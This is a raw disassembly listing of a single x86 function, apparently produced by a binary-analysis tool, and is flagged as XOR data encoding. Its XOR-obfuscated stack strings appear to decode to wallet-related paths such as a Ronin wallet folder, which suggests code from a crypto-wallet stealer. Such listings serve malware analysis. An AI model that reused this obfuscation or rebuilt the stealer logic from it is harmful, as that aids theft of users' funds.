Function at 0x40df3e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4686fb
call fcn.004685c0
sub esp, 0x108
movaps xmm0, xmmword [0x47f2c0]
push ebx
push esi
mov dword [ebp - 0x70], ecx
xor ecx, ecx
movups xmmword [ebp - 0xf2], xmm0
push edi
movaps xmm0, xmmword [0x47f310]
mov dword [ebp - 0x78], edx
mov edx, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], ecx
movups xmmword [ebp - 0xe2], xmm0
mov word [ebp - 0xd2], 0x1a
mov al, byte [ebp + edx - 0xf1]
xor al, byte [ebp - 0xf2]
mov byte [ebp + edx - 0xf1], al
inc edx
cmp edx, 0x20
jb 0x40df86
lea eax, [ebp - 0xf1]
mov byte [ebp - 0xd1], cl
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x40], cl
lea ecx, [ebp - 0x40]
push eax
mov dword [ebp - 0x2c], 0xf
call fcn.00413d68
push dword [ebp - 0x58]
xor eax, eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00414ba0
push 0x4127c9
push 1
push 0x18
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 2
push eax
call fcn.0044064f
push ecx
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0xa0]
call fcn.00414662
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x88]
call fcn.0040c930
lea ecx, [ebp - 0xa0]
call fcn.00413b3d
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040d946
mov edi, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], esi
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040d946
mov ecx, dword [ebp - 0xf8]
xor eax, eax
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c], xmm0
and dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
test ecx, ecx
je 0x40e080
call fcn.0040b03f
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 8
cmp edi, eax
je 0x40e3a6
mov dword [ebp - 0x58], edi
xor edi, edi
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x64]
push 0x18
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x54], edi
cmp edi, eax
jae 0x40e38d
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x114]
add eax, 0x20
mov byte [ebp - 4], 9
push ecx
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0xa
push ecx
mov ecx, eax
call fcn.004143b3
or dword [ebp - 0x28], 1
lea ecx, [ebp - 0xa0]
imul eax, edi, 0x18
push 0
add eax, dword [ebp - 0x64]
push eax
call fcn.00413278
lea ecx, [ebp - 0xa0]
mov esi, eax
call fcn.00413d07
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 9
call fcn.00413b3d
cmp esi, 0xffffffff
je 0x40e380
push 0
push 0
call dword [0x46d19c]
push eax
call dword [0x46d208]
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0xd0]
push eax
call fcn.0040bc4c
push ecx
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
call fcn.004143b3
or dword [ebp - 0x28], 8
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0xd
call fcn.00413b3d
push ecx
push ecx
lea ecx, [ebp - 0xb8]
call fcn.004131df
mov esi, eax
lea ecx, [ebp - 0xb8]
push 0xffffffffffffffff
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00413194
mov byte [ebp - 4], 0xe
xor ecx, ecx
movaps xmm0, xmmword [0x47f2e0]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x6121b
mov al, byte [ebp + ecx - 0x3b]
xor al, byte [ebp - 0x3c]
mov byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x12
jb 0x40e198
push ecx
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x29], 0
push eax
lea ecx, [ebp - 0x114]
call fcn.00413247
cmp eax, 0xffffffff
je 0x40e359
push esi
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0xb8]
call fcn.00413194
lea ecx, [ebp - 0xb8]
cmp ecx, eax
je 0x40e1f2
mov byte [ebp - 0x74], 0
push dword [ebp - 0x74]
push eax
call fcn.00413e7a
lea ecx, [ebp - 0xd0]
call fcn.00413d07
push ecx
push ecx
lea ecx, [ebp - 0xb8]
call fcn.004131df
push esi
inc eax
lea ecx, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.00413194
mov byte [ebp - 4], 0xf
mov dl, 0x20
mov dword [ebp - 0x19], 0x4c417720
xor ecx, ecx
mov dword [ebp - 0x15], 0x5354454c
mov byte [ebp - 0x11], 0
xor byte [ebp + ecx - 0x18], dl
inc ecx
cmp ecx, 7
jae 0x40e248
mov dl, byte [ebp - 0x19]
jmp 0x40e239
mov byte [ebp - 0x11], 0
call fcn.00435972
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.004354d9
and dword [ebp - 0x30], 0
lea ecx, [ebp - 0x40]
mov esi, eax
mov dword [ebp - 0x2c], 0xf
push esi
mov byte [ebp - 0x40], 0
call fcn.00413d68
lea ecx, [ebp - 0x40]
call fcn.0040d215
lea ecx, [ebp - 0x40]
call fcn.00413d07
mov cl, 0x1e
mov dword [ebp - 0x22], 0x714c421e
mov dword [ebp - 0x1e], 0x41707770
xor edx, edx
mov byte [ebp - 0x1a], 0
xor byte [ebp + edx - 0x21], cl
inc edx
cmp edx, 7
jae 0x40e2aa
mov cl, byte [ebp - 0x22]
jmp 0x40e29b
mov eax, dword [ebp - 0x78]
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x1a], 0
mov edx, dword [eax]
call fcn.004354d9
mov edx, eax
mov ecx, esi
call fcn.004354d9
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
mov ecx, 0x47ae24
mov esi, eax
cmovae edx, dword [ebp - 0xa0]
call fcn.004354d9
mov edx, eax
mov ecx, esi
call fcn.004354d9
and dword [ebp - 0x30], 0
lea ecx, [ebp - 0x40]
push eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.00413d68
lea ecx, [ebp - 0x40]
call fcn.0040d215
lea ecx, [ebp - 0x40]
call fcn.00413d07
mov byte [ebp - 0x7c], 0
lea edx, [ebp - 0x80]
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xd0]
call fcn.004157f9
pop ecx
mov ecx, dword [ebp - 0x50]
lea edx, [ebp - 0xd0]
push 0x12
mov byte [ebp - 4], 0x10
call fcn.0040d185
pop ecx
lea ecx, [ebp - 0xd0]
call fcn.00413b3d
lea ecx, [ebp - 0xa0]
call fcn.00413d07
lea ecx, [ebp - 0x114]
call fcn.00413d07
lea ecx, [ebp - 0xb8]
call fcn.00413d07
jmp 0x40e380
mov dword [ebp - 4], 8
inc edi
jmp 0x40e091
lea ecx, [ebp - 0x6c]
call fcn.0040c97a
mov edi, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x68]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], edi
jmp 0x40e084
test esi, esi
je 0x40e3b1
mov ecx, esi
call fcn.0040b03f
mov ecx, dword [ebp - 0x84]
test ecx, ecx
je 0x40e3c0
call fcn.0040b03f
lea ecx, [ebp - 0x64]
call fcn.00413ac8
xor eax, eax
inc eax
jmp 0x40e3dd
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret